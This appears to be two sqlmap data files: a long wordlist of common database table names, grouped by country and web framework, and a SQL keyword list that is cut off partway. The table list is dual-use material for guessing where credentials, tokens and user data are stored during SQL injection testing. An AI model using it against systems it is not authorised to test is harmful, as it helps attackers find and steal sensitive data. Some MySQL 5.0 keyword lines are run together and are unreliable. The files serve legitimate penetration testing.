UserAdmin
Admins
Login
Logins
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
account
accnts
accnt
user_id
members
usrs
usr2
accounts
admin
admins
adminlogin
auth
authenticate
authentication
account
access
customers
customer
config
conf
cfg
hash
login
logout
loginout
log
member
memberid
password
pass_hash
pass
passwd
passw
pword
pwrd
pwd
store
store1
store2
store3
store4
setting
username
name
user
user_name
user_username
uname
user_uname
usern
user_usern
un
user_un
usrnm
user_usrnm
usr
usernm
user_usernm
user_nm
user_password
userpass
user_pass
user_pword
user_passw
user_pwrd
user_pwd
user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
wsop
Admin
Config
Settings
tbl_admin
tbl_admins
tbl_member
tbl_members
tblservers
id
uid
userid
user_id
auid
adminpass
LoginID
FirstName
LastName
cms_member
cms_members
Webmaster
Webuser
tbl_tbadmin
Adminlogin
useraccount
nguoidung
quanly
quantri
dangnhap
taikhoan
taikhoanquantri
useraccounts
nguoidungs
tbuser
tblogin
tbadmin
tbaccount
tbuseraccount
tbnguoidung
tbllogin
tbladmin
tblaccount
tbluseraccount
tblnguoidung
tbusers
tblogins
tbadmins
tbaccounts
tbuseraccounts
tbnguoidungs
tbllogins
tblaccounts
tbluseraccounts
tblnguoidungs
tb_account
tb_useraccount
tb_nguoidung
tbl_login
tbl_account
tbl_useraccount
tbl_nguoidung
tb_logins
tb_accounts
tb_useraccounts
tb_nguoidungs
tbl_logins
tbl_accounts
tbl_useraccounts
tbl_nguoidungs
tb_admins
adminid
admin_id
adminuserid
admin_userid
AdminUID
adminusername
admin_username
adminname
admin_name
usr
usr_n
usrname
usr_name
usrnam
useradmin
apwd
adminpaw
adminpwd
admin_pwd
admin_pass
adminpassword
admin_password
admin_passwords
usrpass
usr_pass
pass
userpass
user_pass
dbaccount
dbstudent
dbstudents
dbadmin
useres
dbuser
dbusers
personal
dbpersoon
list
lists
dblist
userpassword
user_password
userpwd
user_pwd
SecurityLevel
LastLoginDate
LoginIP
pword
ad
Konto
Konten
admin_psw
verwalten
verwaltet
administrieren
Verwaltung
Administratoren
adminpsw
adminupass
Kunst
Artikel
Autor
Buch
chat
Kunden
tblnews
banner
options
general
upload
uploads
file
akhbar
Firma
contenu
Kontakt
Kontakte
Inhalt
Kontrolle
controle
Kunde
Tagebuch
herunterladen
dw
glmm
gly
us
stnuser
stuser
stusers
stuseres
dbstaff
db_staff
staff_db
database
databases
test_user
user_test
test_users
users_test
Gruppe
Gruppen
guanli
guanliyuan
h_admin
Bilder
Mitgliederbereich
key
keywords
Anmeldung
Protokolle
Mitglied
Mitgliederliste
Mitglieder
mima
mm
mpassword
musername
Film
Filme
nc
new
Namen
Auftrag
Bestellungen
Passwort
power
psw
pswd
pw
pwd1
jhu
webapps
sing
singup
singin
registeration
reg
registriert
root
roots
Tagung
Sitzungen
Einstellungen
Standorte
Statistiken
sys
Systemadministratoren
systime
Tisch
Tabellen
Titel
Benutzer
user_pw
Benutzerliste
userpasswd
usr_pw
usrs
Benutzername
Benutzernamen
vip
Webbenutzer
Kategorie
Land
Suchoptionen
Serie
Staaten
UnterkKlasse
Umfrage
TotalMembers
Veranstaltungsort
Veranstaltungsorte
utilisateur
trier
compte
comptes
administrer
administrables
administrateur
administrateurs
auteur
livre
entreprise
concessionnaire
concessionnaires
telecharger
groupe
groupes
liens
connexion
principal
gestionnaire
membre
membres
films
nom
noms
ordre
commandes
partenaire
partenaires
passe
asse
enregistrs
paramtres
statistiques
super
tester
utilisateurs
intranet_users
utlisateur
Catogorie
Pays
Sujets
Sondage
Titres
Lieux
server
ststaff
yhm
yhmm
# site:it
utenti
categorie
attivita
comuni
discipline
Clienti
gws_news
emu_services
nlconfig
Accounts
gws_page
argomento
ruolo
emu_profiles
user_connection
jos_jf_tableinfo
regioni
dati
gws_admin
articoli
cron_send
comune
esame
dcerpcbinds
gruppi
Articoli
gws_banner
gws_category
soraldo_ele_tipo
db_version
jos_languages
mlmail
gws_product
connections
not_sent_mails
utente
documento
gws_purchase
offers
anagrafica
gws_text
sent_mails
gws_jobs
eventi
mlattach
downloads
mlgroup
decodifica_tabelle
p0fs
gws_client
decodifica_campi
dcerpcrequests
discipline_utenti
jos_jf_content
# site:fr
facture
factures
devis
commande
bon_commande
bon_livraison
fournisseur
panier
paiement
reglement
Avion
departement
Compagnie
produits
spip_auteurs
BDDJoueurs_alliance
spip_articles
spip_syndic
pays
spip_auteurs_rubriques
spip_mots_forum
spip_signatures
diplomatie
spip_mots_breves
spip_forum
spip_auteurs_messages
spip_documents
spip_messages
spip_index_dico
spip_meta
spip_petitions
spip_mots_syndic
spip_types_documents
etudiant
spip_groupes_mots
spip_documents_articles
spip_rubriques
spip_breves
agenda
BDDJoueurs_colonies
spip_mots_articles
spip_mots
spip_syndic_articles
spip_auteurs_articles
spip_mots_rubriques
BDDJoueurs
modulephoto
nuke_cities
forums
nuke_banner_positions
nuke_subscriptions
nuke_downloads_categories
nuke_journal_comments
nuke_bbranks
spip_documents_rubriques
nuke_confirm
service
nuke_bbthemes_name
nuke_autonews
nuke_bbdisallow
nuke_reviews_add
EDITEUR
nuke_links_newlink
nuke_faqcategories
etudiants
nuke_stats_year
nuke_bbsmilies
spip_mots_documents
spip_documents_breves
nuke_bbsearch_results
post
nuke_users_temp
nuke_blocks
nuke_reviews_main
themes
nuke_modules
nuke_banner_plans
nuke_links_votedata
spip_referers
inscription
BONUS
nuke_links_editorials
nuke_topics
nuke_bbprivmsgs_text
chatbox
nuke_referer
nuke_bbauth_access
nuke_journal_stats
nuke_faqanswer
nuke_banner_terms
message
nuke_bbvote_voters
nuke_pages_categories
spip_index
modulerubriquephoto
spip_visites
Role
nuke_public_messages
actualites
nuke_reviews_comments
nuke_downloads_votedata
nuke_headlines
nuke_downloads_editorials
enseignant
modulemessage
nuke_session
nuke_queue
nuke_main
nuke_bbposts
spip_ortho_cache
Enseignant
nuke_downloads_newdownload
sons
plurielanim
nuke_bbforums
nuke_bbsearch_wordmatch
nuke_bbvote_results
nuke_stats_date
nuke_bbwords
nuke_bbcategories
typecompte
nuke_stories
nuke_stats_month
personne
etablissement
nuke_counter
indexation
nuke_poll_desc
nuke_links_links
nuke_bbtopics
Utilisateurs
nuke_related
nuke_downloads_downloads
spip_versions_fragments
nuke_bbgroups
nuke_bbtopics_watch
nuke_bbuser_group
nuke_downloads_modrequest
spip_versions
Joueur
nuke_bbsessions
nuke_links_categories
directeur
Etudiant
nuke_bbposts_text
nuked_page
Personne
nuke_bbbanlist
Parametre
nuke_pollcomments
nuke_bbforum_prune
nuke_pages
nuke_links_modrequest
nuke_stats_hour
nuke_groups_points
nuke_reviews
nuke_bbthemes
modulemailling
agence
nuke_encyclopedia
nuke_bbsearch_wordlist
nuke_message
Equipe
nuke_comments
nuke_poll_check
nuke_journal
nuke_stories_cat
nuke_banner
nuke_groups
spip_visites_articles
nuke_encyclopedia_text
spip_referers_articles
nuke_bbvote_desc
Artiste
nuke_poll_data
nuke_bbprivmsgs
spip_ortho_dico
spip_caches
# site:ru
spravochnik
nomenklatura
dokument
zakaz
ostatki
kontragenty
klient
uslugi
provodki
obrabotka
sklad
zhurnal
guestbook
currency
phpshop_opros_categories
voting
terms
phpshop_categories
banners
phpshop_news
phpshop_system
phpshop_baners
phpshop_menu
phpshop_links
mapdata
setup_
phpshop_users
jubjub_errors
vykachka
phpshop_opros
order_item
# site:de
tt_content
kunde
medien
Mitarbeiter
fe_users
voraussetzen
bestellung
be_users
Vorlesungen
persons
Assistenten
Professoren
Studenten
lieferant
mitarbeiter
gruppe
wp_post2cat
phpbb_forum_prune
crops
mein_doc
artikel_kategorie
kategorien
rel_person_paper
tx_tcdirectmail_bounceaccount
Akten
skins
riddles
ci_slogans
phpbb_vote_voters
account_map_event
roles
stellen
meetings
special_category
rel_paper_topic
kbase_category
attribut
phpbb_auth_access
zo_gruppe_stelle
zo_kontakt_stelle
hoeren
shop_settings
tutorial
motd_coding
artikel_variationsgruppen
papers
gesuche
zahlung_weitere
ts2_server_privileges
artikel_variationen
artikel_optionen
chessgames
portale
products_images
phpbb_privmsgs_text
kurs
KUNDE
wp_linkcategories
tx_tcdirectmail_targets
tx_templavoila_datastructure
Adresse
bestellung_kunde
rel_person_topic
css_file
visual
account_multi
Adressen
phpbb_words
phpbb_disallow
kauf_artikel
music_association
phpbb_banlist
dokumente
greylist
backup
map_event
kreditkarte
house_extensions
address_book
crops_tpl
phpbb_vote_desc
versandkostenpreise
pruefen
gruppen
vertreter
phpbb_confirm
verkaeufer
be_groups
rel_person_organization
phpbb_privmsgs
buecher
kategorie
phpbb_sessions
phpbb_search_results
studierende
user_online_newyear
hersteller
object_link
adresse
address_format
newsletter_recipients
PERMISSIONS
user_uploads_pictures
festplatte
veranstalter
mein_doc_h
tx_tcdirectmail_clicklinks
phpbb_vote_results
phpbb_topics_watch
tx_tcdirectmail_lock
account_map
standort
gd
delete_reasons
tx_tcdirectmail_sentlog
valhalla
vis_typen
counter
kbase_main
music_items
kauf
payment_qenta
seite_abschnitt
trivia
mehrwertsteuer
massenmail
klassen
hilfe
geraet
tt_address
dg_books
portal_access
orders_recalculate
artikel_bestellung
kontakt
chesshistory
notizen
seite_layout
virgator_table
wp_categories
chessmessages
# site:br
endereco
pessoa
usuarios
estado
pedidos
CLIENTE
itens
telefone
empresa
PRODUTO
categoria
cidades
clientes
produtos
municipio
cliente
LT_PROCEDIMENTO
calendario
D_US_FAVORITOS
moradia
pessoa_telefone
contador
aidf
resumo
add_irm
M_ESQUEMA_PERMISSAO
duvida
LT_METODO_ATUALIZACAO
M_RELATORIOS
LT_SERIE
estados
LT_OBJETO
cidade
declaracaonf
especieaidf
S_SESSOES
D_PR_HONORARIOS
empresa_atividade
correcaostrategy
jos_docman_groups
D_US_RECENTE
notafiscal
solicitacao
pessoa_endereco
atividade
M_FATURAS
D_PR_APENSOS
agencia
LT_LANCAMENTO
D_US_AREA_DE_TRABALHO
D_FA_ITENS
dist_universidade
multastrategy_faixamulta
LT_TIPO_DE_ACAO
D_PR_EVENTOS
D_FA_PARCELAS
tipodeducao
D_PR_PARCELAMENTO
sala
D_US_EQUIPES_DO_USUARIO
cidadao
documentos
S_GLOBAL
M_CADASTRO_GERAL
jos_docman_licenses
guiaavulsa
solicitacaosenha
M_CUBOS
promocoes
grau_escolaridade
imagens
multastrategy
D_PR_PARTES
processo
gestor
imagem
categorias
LT_CLASSE_FORO
jurosstrategy
deducao
S_PARAMETROS
notafiscal_deducao
CAIXA
foto
M_FERIADOS
S_ORIGENS
guiaavulsa_itemguiaavulsa
situacaoitem
notafiscal_itemnotafiscal
cotacao
papel
M_EMAIL_FILA
D_PR_OBJETOS
dados_prefeitura
S_LOG
LT_FASE
D_PR_ADVOGADOS
M_USUARIO
projeto
LT_SITUACAO
D_PR_CUSTAS
grupoatividade
LT_NATUREZA
membros_familia
instituicao
emprestimos
itemguiaavulsa
D_EM_DESTINATARIO
LT_GRUPO
S_SEQUENCIAS
itemnotafiscal
disciplina
jos_docman
autorizacaonfe
tipo_bolsa
estoque
LT_JURISDICAO
serie
sse_estudante
LT_FOROS
perfil
despesa_familia
noticias
LT_GARANTIA
M_ESQUEMA_HORARIO
MM_NOTIFICACOES_DO_PROCESSO
jos_jce_plugins
grau_parentesco
D_PR_GARANTIAS
M_SERVICOS_PRESTADOS
LT_CATEGORIA
faixamulta
encerramento
M_PROCESSOS
dados_familia
MM_USUARIOS_DO_PROCESSO
LT_ENCERRAMENTO
LT_DECISAO
indice
contador_empresa
sse_familia
D_SE_INDICES
cursos
estado_civil
dados_estudante
LT_EQUIPES
LT_PROGNOSTICO
LT_EVENTO
jos_jce_groups
D_PR_DOCUMENTOS
D_PR_DESDOBRAMENTOS
logradouro
despesa_aluno
fiscal
LT_CUSTOM4
convite
manutencao
LT_CUSTOM1
LT_CUSTOM2
LT_CUSTOM3
# site:es
jos_respuestas
DEPARTAMENTO
EMPLEADO
TRABAJA_EN
DEPENDIENTE
LOCALIZACIONES_DEPT
PROYECTO
lineas_fac
pueblos
NUEVOS
CENTROS
BANCOS
PERSONAL
SUCURSALES
PRODUCTOS
provincias
jos_estadisticas
USUARIO
ALUM
MOVIMIENTOS
ACTOR
nuke_gallery_rate_check
ANTIGUOS
CUENTAS
vendedores
CLIENTES
articulos
DEPARTAMENTOS
PROFESORES
jos_preguntas
PEDIDOS
EMPLEADOS
nuke_gallery_pictures_newpicture
Books
grupo
facturas
aclaraciones
preguntas
personas
estadisticas
# site:cn
yonghu
dingdan
shangpin
zhanghu
jiaoyi
zhifu
rizhi
quanxian
juese
caidan
xinxi
shuju
guanliyuan
xitong
peizhi
canshu
zidian
url
BlockInfo
cdb_attachments
cdb_buddys
LastDate
cdb_medals
cdb_forumlinks
cdb_adminnotes
cdb_admingroups
stkWeight
cdb_announcements
cdb_bbcodes
cdb_advertisements
cdb_memberfields
cdb_forums
cdb_forumfields
cdb_favorites
cdb_banned
cdb_crons
cdb_access
cdb_invites
sysmergeschemaarticles
CodeRuleType
cdb_membermagics
cdb_imagetypes
cdb_memberspaces
cdb_campaigns
pw_wordfb
cdb_paymentlog
cdb_adminsessions
pw_adminset
seen
t_snap
MSmerge_altsyncpartners
zl_deeds
pw_styles
pw_announce
cdb_pluginvars
pw_smiles
cdb_modworks
ncat
pw_threads
zl_admin
cdb_onlinetime
cdb_mythreads
cdb_members
spt_datatype_info
seentype
zl_article
spt_datatype_info_ext
cdb_debateposts
mgbliuyan
pw_schcache
zl_finance
pw_banuser
cdb_pluginhooks
wp1_categories
MSmerge_errorlineage
cdb_activities
zl_baoming
cdb_orders
ad_ad
cdb_pms
cdb_magics
cdb_itempool
phpcms_announce
pw_actions
pw_msg
cdb_debates
cdb_magiclog
pw_forums
cdb_polls
t_stat
pw_attachs
cdb_plugins
pw_membercredit
cdb_posts
cdb_activityapplies
zl_media
acctmanager
pw_usergroups
cdb_faqs
cdb_onlinelist
pw_hack
Market
MSrepl_identity_range
pw_favors
pw_config
pw_credits
cdb_failedlogins
pw_posts
cdb_attachpaymentlog
cdb_myposts
cdb_polloptions
wp1_comments
cdb_caches
pw_members
spt_provider_types
pw_sharelinks
pw_tmsgs
pw_polls
cdb_moderators
pw_bbsinfo
aliasregex
userfiles
acctmanager2
cdb_pmsearchindex
cdb_forumrecommend
publishers
zl_advertisement
guanggaotp
pw_memberinfo
aliastype
# site:tr
kullanici
kullanicilar
yonetici
yoneticiler
adres
adresler
yayincilar
yayinci
urun
urunler
kategori
kategoriler
ulke
ulkeler
siparis
siparisler
bayi
bayiler
stok
reklam
reklamlar
site
siteler
sayfa
sayfalar
icerik
icerikler
yazi
yazilar
genel
istatistik
istatistikler
duyuru
duyurular
haber
haberler
komisyon
ucret
ucretler
bilgi
basvuru
basvurular
kontak
kontaklar
kisi
kisiler
uye
uyeler
kayıt
kayıtlar
tel
telefon
telefonlar
numaralar
numara
kart
kartlar
kredi
krediler
kredikartı
fiyat
fiyatlar
odeme
odemeler
kategoriler
tbl_Uye
xml_kategoriler
tbl_siparis
tbl_googlemap
tbl_ilce
tbl_yardim
tbl_Resim
tbl_anket
tbl_Rapor
tbl_statsvisit
tbl_ticket
tbl_Cesit
tbl_xml
tbl_Cinsiyet
xml_urunler_temp
tbl_takvim
tbl_altkategori
tbl_mesaj
tbl_Haber
tbl_AdresTemp
tbl_Firma
tbl_Medya
xml_urunlerbirim
tbl_Yardim
tbl_medya
tbl_Video
xml_markalar_transfer
tbl_adrestemp
tbl_online
tbl_sehir
tbl_resim
tbl_Gorsel
tbl_doviz
tbl_gorsel
tbl_kampanya
tbl_Blog
tbl_Banners
tbl_koleksiyon
tbl_Galeri
tbl_Kampanya
tbl_Favori
tbl_sss
tbl_Banner
tbl_Faq
xml_markalar_temp
tbl_faq
tbl_Personel
tbl_Seo
tbl_adres
tbl_ayar
tbl_metin
tbl_AltKategori
tbl_kategori
tbl_Marka
tbl_blogkategori
tbl_ulke
tbl_sepetold
tbl_yorum
tbl_Fiyat
tbl_Reklam
tbl_Kategori
tbl_Yorum
tbl_semt
tbl_Tedarikci
xml_kampanyakategori
tbl_ozelgun
tbl_uyexml
tbl_rapor
tbl_seo
tbl_Indirim
tbl_Ilce
tbl_bulten
tbl_video
tbl_Ayar
tbl_fatura
tbl_cinsiyet
tbl_reklam
tbl_sliders
tbl_KDV
tbl_uye_img
tbl_siparisid
tbl_BlogKategori
tbl_Yonetici
tbl_kdv
tbl_Online
tbl_temsilci
tbl_Dil
tbl_banners
tbl_Mesaj
tbl_Logs
tbl_logs
tbl_fiyat
tbl_SSS
tbl_Puan
tbl_kargo
tbl_Statsvisit
tbl_Koleksiyon
tbl_dil
tbl_Sepetold
tbl_Fatura
tbl_yonetici
tbl_Yazilar
tbl_Temsilci
tbl_Kargo
tbl_cesit
tbl_uye
tbl_haber
tbl_SiparisID
tbl_Adres
tbl_Ozelgun
tbl_banka
tbl_Videogaleri
tbl_galeri
tbl_videogaleri
xml_urunresimleri
tbl_urun
tbl_Ticket
tbl_yazilar
tbl_Ulke
tbl_Urun
tbl_renk
tbl_Harita
tbl_Sepet
tbl_Sehir
tbl_Uye_Img
tbl_Semt
tbl_indirim
xml_kampanyakategori_transfer
tbl_Takvim
tbl_blog
tbl_Sliders
tbl_Renk
tbl_UyeXML
tbl_tedarikci
tbl_Fotogaleri
tbl_Doviz
tbl_Anket
tbl_Banka
tbl_Metin
tbl_XML
tbl_firma
tbl_harita
tbl_banner
tbl_sepet
tbl_fotogaleri
tbl_marka
tbl_Siparis
tbl_personel
tbl_puan
tbl_Bulten
tbl_favori
tbl_onlineusers
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
adminstbl
admintbl
affiliateUsers
hsa_user
tblmanager
tblmanagers
tblproduct
tblproducts
tuser
tusers
userstbl
usertbl
# WebGoat
user_data
# https://laurent22.github.io/so-injections/
accounts
admin
baza_site
benutzer
category
comments
company
credentials
Customer
customers
data
details
dhruv_users
dt_tb
employees
events
forsale
friends
giorni
images
info
items
kontabankowe
login
logs
markers
members
messages
orders
order_table
photos
player
players
points
register
reports
rooms
shells
signup
songs
student
students
table
table2
tbl_images
tblproduct
testv2
tickets
topicinfo
trabajo
user
user_auth
userinfo
user_info
userregister
users
usuarios
utenti
wm_products
wp_payout_history
zamowienia
# https://deliciousbrains.com/tour-wordpress-database/
wp_blogmeta
wp_blogs
wp_blog_versions
wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_registration_log
wp_signups
wp_site
wp_sitemeta
wp_termmeta
wp_term_relationships
wp_terms
wp_term_taxonomy
wp_usermeta
wp_users
# https://docs.joomla.org/Tables
assets
bannerclient
banner
bannertrack
categories
components
contact_details
content_frontpage
content_rating
content
core_acl_aro_groups
core_acl_aro_map
core_acl_aro_sections
core_acl_aro
core_acl_groups_aro_map
core_log_items
core_log_searches
extensions
groups
languages
menu
menu_types
messages_cfg
messages
migration_backlinks
modules_menu
modules
newsfeeds
plugins
poll_data
poll_date
poll_menu
polls
redirect_links
Schemas
sections
session
stats_agents
templates_menu
template_styles
update_categories
update_sites_extensions
update_sites
updates
usergroups
user_profiles
users
user_usergroup_map
viewlevels
weblinks
# site:nl
gebruikers
# asp.net
AspNetUsers
AspNetRoles
AspNetUserRoles
AspNetUserClaims
AspNetUserLogins
AspNetRoleClaims
AspNetUserTokens
__EFMigrationsHistory
# django
auth_user
auth_group
auth_permission
django_session
django_migrations
django_content_type
django_admin_log
# laravel
migrations
password_resets
failed_jobs
personal_access_tokens
job_batches
model_has_roles
model_has_permissions
role_has_permissions
# rails
schema_migrations
ar_internal_metadata
active_storage_blobs
active_storage_attachments
# misc.
flyway_schema_history
databasechangelog
databasechangeloglock
alembic_version
knex_migrations
knex_migrations_lock
doctrine_migration_versions
api_keys
api_tokens
access_tokens
refresh_tokens
oauth_clients
oauth_access_tokens
oauth_refresh_tokens
webhooks
webhook_events
secrets
credentials
audit_logs
activity_logs
system_settings
feature_flags
tenants
subscriptions
users_bak
users_old
orders_backup
================================================
FILE: data/txt/keywords.txt
================================================
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
ABSOLUTE
ACTION
ADD
ALL
ALLOCATE
ALTER
AND
ANY
ARE
AS
ASC
ASSERTION
AT
AUTHORIZATION
AVG
BEGIN
BETWEEN
BIT
BIT_LENGTH
BOTH
BY
CALL
CASCADE
CASCADED
CASE
CAST
CATALOG
CHAR
CHAR_LENGTH
CHARACTER
CHARACTER_LENGTH
CHECK
CLOSE
COALESCE
COLLATE
COLLATION
COLUMN
COMMIT
CONDITION
CONNECT
CONNECTION
CONSTRAINT
CONSTRAINTS
CONTAINS
CONTINUE
CONVERT
CORRESPONDING
COUNT
CREATE
CROSS
CURRENT
CURRENT_DATE
CURRENT_PATH
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_USER
CURSOR
DATE
DAY
DEALLOCATE
DEC
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFERRED
DELETE
DESC
DESCRIBE
DESCRIPTOR
DETERMINISTIC
DIAGNOSTICS
DISCONNECT
DISTINCT
DO
DOMAIN
DOUBLE
DROP
ELSE
ELSEIF
END
ESCAPE
EXCEPT
EXCEPTION
EXEC
EXECUTE
EXISTS
EXIT
EXTERNAL
EXTRACT
FALSE
FETCH
FIRST
FLOAT
FOR
FOREIGN
FOUND
FROM
FULL
FUNCTION
GET
GLOBAL
GO
GOTO
GRANT
GROUP
HANDLER
HAVING
HOUR
IDENTITY
IF
IMMEDIATE
IN
INDICATOR
INITIALLY
INNER
INOUT
INPUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERVAL
INTO
IS
ISOLATION
JOIN
KEY
LANGUAGE
LAST
LEADING
LEAVE
LEFT
LEVEL
LIKE
LOCAL
LOOP
LOWER
MATCH
MAX
MIN
MINUTE
MODULE
MONTH
NAMES
NATIONAL
NATURAL
NCHAR
NEXT
NO
NOT
NULL
NULLIF
NUMERIC
OCTET_LENGTH
OF
ON
ONLY
OPEN
OPTION
OR
ORDER
OUT
OUTER
OUTPUT
OVERLAPS
PAD
PARAMETER
PARTIAL
PATH
POSITION
PRECISION
PREPARE
PRESERVE
PRIMARY
PRIOR
PRIVILEGES
PROCEDURE
READ
REAL
REFERENCES
RELATIVE
REPEAT
RESIGNAL
RESTRICT
RETURN
RETURNS
REVOKE
RIGHT
ROLLBACK
ROUTINE
ROWS
SCHEMA
SCROLL
SECOND
SECTION
SELECT
SESSION
SESSION_USER
SET
SIGNAL
SIZE
SMALLINT
SOME
SPACE
SPECIFIC
SQL
SQLCODE
SQLERROR
SQLEXCEPTION
SQLSTATE
SQLWARNING
SUBSTRING
SUM
SYSTEM_USER
TABLE
TEMPORARY
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSACTION
TRANSLATE
TRANSLATION
TRIM
TRUE
UNDO
UNION
UNIQUE
UNKNOWN
UNTIL
UPDATE
UPPER
USAGE
USER
USING
VALUE
VALUES
VARCHAR
VARYING
VIEW
WHEN
WHENEVER
WHERE
WHILE
WITH
WORK
WRITE
YEAR
ZONE
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
ADD
ALL
ALTER
ANALYZE
AND
ASASC
ASENSITIVE
BEFORE
BETWEEN
BIGINT
BINARYBLOB
BOTH
BY
CALL
CASCADE
CASECHANGE
CAST
CHAR
CHARACTER
CHECK
COLLATE
COLUMN
CONCAT
CONDITIONCONSTRAINT
CONTINUE
CONVERT
CREATE
CROSS
CURRENT_DATE
CURRENT_TIMECURRENT_TIMESTAMP
CURRENT_USER
CURSOR
DATABASE
DATABASES
DAY_HOUR
DAY_MICROSECONDDAY_MINUTE
DAY_SECOND
DEC
DECIMAL
DECLARE
DEFAULTDELAYED
DELETE
DESC
DESCRIBE
DETERMINISTIC
DISTINCTDISTINCTROW
DIV
DOUBLE
DROP
DUAL
EACH
ELSEELSEIF
ENCLOSED
ESCAPED
EXISTS
EXIT
EXPLAIN
FALSEFETCH
FLOAT
FLOAT4
FLOAT8
FOR
FORCE
FOREIGNFROM
FULLTEXT
GRANT
GROUP
HAVING
HIGH_PRIORITYHOUR_MICROSECOND
HOUR_MINUTE
HOUR_SECOND
IF
IFNULL
IGNORE
ININDEX
INFILE
INNER
INOUT
INSENSITIVE
INSERT
INTINT1
INT2
INT3
INT4
INT8
INTEGER
INTERVALINTO
IS
ISNULL
ITERATE
JOIN
KEY
KEYS
KILLLEADING
LEAVE
LEFT
LIKE
LIMIT
LINESLOAD
LOCALTIME
LOCALTIMESTAMP
LOCK
LONG
LONGBLOBLONGTEXT
LOOP
LOW_PRIORITY
MATCH
MEDIUMBLOB
MEDIUMINT
MEDIUMTEXTMIDDLEINT
MINUTE_MICROSECOND
MINUTE_SECOND
MOD
MODIFIES
NATURAL
NOTNO_WRITE_TO_BINLOG
NULL
NUMERIC
ON
OPTIMIZE
OPTION
OPTIONALLYOR
ORDER
OUT
OUTER
OUTFILE
PRECISIONPRIMARY
PROCEDURE
PURGE
READ
READS
REALREFERENCES
REGEXP
RELEASE
RENAME
REPEAT
REPLACE
REQUIRERESTRICT
RETURN
REVOKE
RIGHT
RLIKE
SCHEMA
SCHEMASSECOND_MICROSECOND
SELECT
SENSITIVE
SEPARATOR
SET
SHOW
SMALLINTSONAME
SPATIAL
SPECIFIC
SQL
SQLEXCEPTION
SQLSTATESQLWARNING
SQL_BIG_RESULT
SQL_CALC_FOUND_ROWS
SQL_SMALL_RESULT
SSL
STARTINGSTRAIGHT_JOIN
TABLE
TERMINATED
THEN
TINYBLOB
TINYINT
TINYTEXTTO
TRAILING
TRIGGER
TRUE
UNDO
UNION
UNIQUEUNLOCK
UNSIGNED
UPDATE
USAGE
USE
USING
UTC_DATEUTC_TIME
UTC_TIMESTAMP
VALUES
VARBINARY
VARCHAR
VARCHARACTERVARYING
VERSION
WHEN
WHERE
WHILE
WITH
WRITEXOR
YEAR_MONTH
ZEROFILL
# MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html)
ACCESSIBLE
ACCOUNT
ACTION
ACTIVE
ADD
ADMIN
AFTER
AGAINST
AGGREGATE
ALGORITHM
ALL
ALTER
ALWAYS
ANALYSE
ANALYZE
AND
ANY
ARRAY
AS
ASC
ASCII
ASENSITIVE
AT
ATTRIBUTE
AUTHENTICATION
AUTOEXTEND_SIZE
AUTO_INCREMENT
AVG
AVG_ROW_LENGTH
BACKUP
BEFORE
BEGIN
BETWEEN
BIGINT
BINARY
BINLOG
BIT
BLOB
BLOCK
BOOL
BOOLEAN
BOTH
BTREE
BUCKETS
BULK
BY
BYTE
CACHE
CALL
CASCADE
CASCADED
CASE
CATALOG_NAME
CHAIN
CHALLENGE_RESPONSE
CHANGE
CHANGED
CHANNEL
CHAR
CHARACTER
CHARSET
CHECK
CHECKSUM
CIPHER
CLASS_ORIGIN
CLIENT
CLONE
CLOSE
COALESCE
CODE
COLLATE
COLLATION
COLUMN
COLUMNS
COLUMN_FORMAT
COLUMN_NAME
COMMENT
COMMIT
COMMITTED
COMPACT
COMPLETION
COMPONENT
COMPRESSED
COMPRESSION
CONCURRENT
CONDITION
CONNECTION
CONSISTENT
CONSTRAINT
CONSTRAINT_CATALOG
CONSTRAINT_NAME
CONSTRAINT_SCHEMA
CONTAINS
CONTEXT
CONTINUE
CONVERT
CPU
CREATE
CROSS
CUBE
CUME_DIST
CURRENT
CURRENT_DATE
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_USER
CURSOR
CURSOR_NAME
DATA
DATABASE
DATABASES
DATAFILE
DATE
DATETIME
DAY
DAY_HOUR
DAY_MICROSECOND
DAY_MINUTE
DAY_SECOND
DEALLOCATE
DEC
DECIMAL
DECLARE
DEFAULT
DEFAULT_AUTH
DEFINER
DEFINITION
DELAYED
DELAY_KEY_WRITE
DELETE
DENSE_RANK
DESC
DESCRIBE
DESCRIPTION
DES_KEY_FILE
DETERMINISTIC
DIAGNOSTICS
DIRECTORY
DISABLE
DISCARD
DISK
DISTINCT
DISTINCTROW
DIV
DO
DOUBLE
DROP
DUAL
DUMPFILE
DUPLICATE
DYNAMIC
EACH
ELSE
ELSEIF
EMPTY
ENABLE
ENCLOSED
ENCRYPTION
END
ENDS
ENFORCED
ENGINE
ENGINES
ENGINE_ATTRIBUTE
ENUM
ERROR
ERRORS
ESCAPE
ESCAPED
EVENT
EVENTS
EVERY
EXCEPT
EXCHANGE
EXCLUDE
EXECUTE
EXISTS
EXIT
EXPANSION
EXPIRE
EXPLAIN
EXPORT
EXTENDED
EXTENT_SIZE
FACTOR
FAILED_LOGIN_ATTEMPTS
FALSE
FAST
FAULTS
FETCH
FIELDS
FILE
FILE_BLOCK_SIZE
FILTER
FINISH
FIRST
FIRST_VALUE
FIXED
FLOAT
FLOAT4
FLOAT8
FLUSH
FOLLOWING
FOLLOWS
FOR
FORCE
FOREIGN
FORMAT
FOUND
FROM
FULL
FULLTEXT
FUNCTION
GENERAL
GENERATE
GENERATED
GEOMCOLLECTION
GEOMETRY
GEOMETRYCOLLECTION
GET
GET_FORMAT
GET_MASTER_PUBLIC_KEY
GET_SOURCE_PUBLIC_KEY
GLOBAL
GRANT
GRANTS
GROUP
GROUPING
GROUPS
GROUP_REPLICATION
GTID_ONLY
HANDLER
HASH
HAVING
HELP
HIGH_PRIORITY
HISTOGRAM
HISTORY
HOST
HOSTS
HOUR
HOUR_MICROSECOND
HOUR_MINUTE
HOUR_SECOND
IDENTIFIED
IF
IGNORE
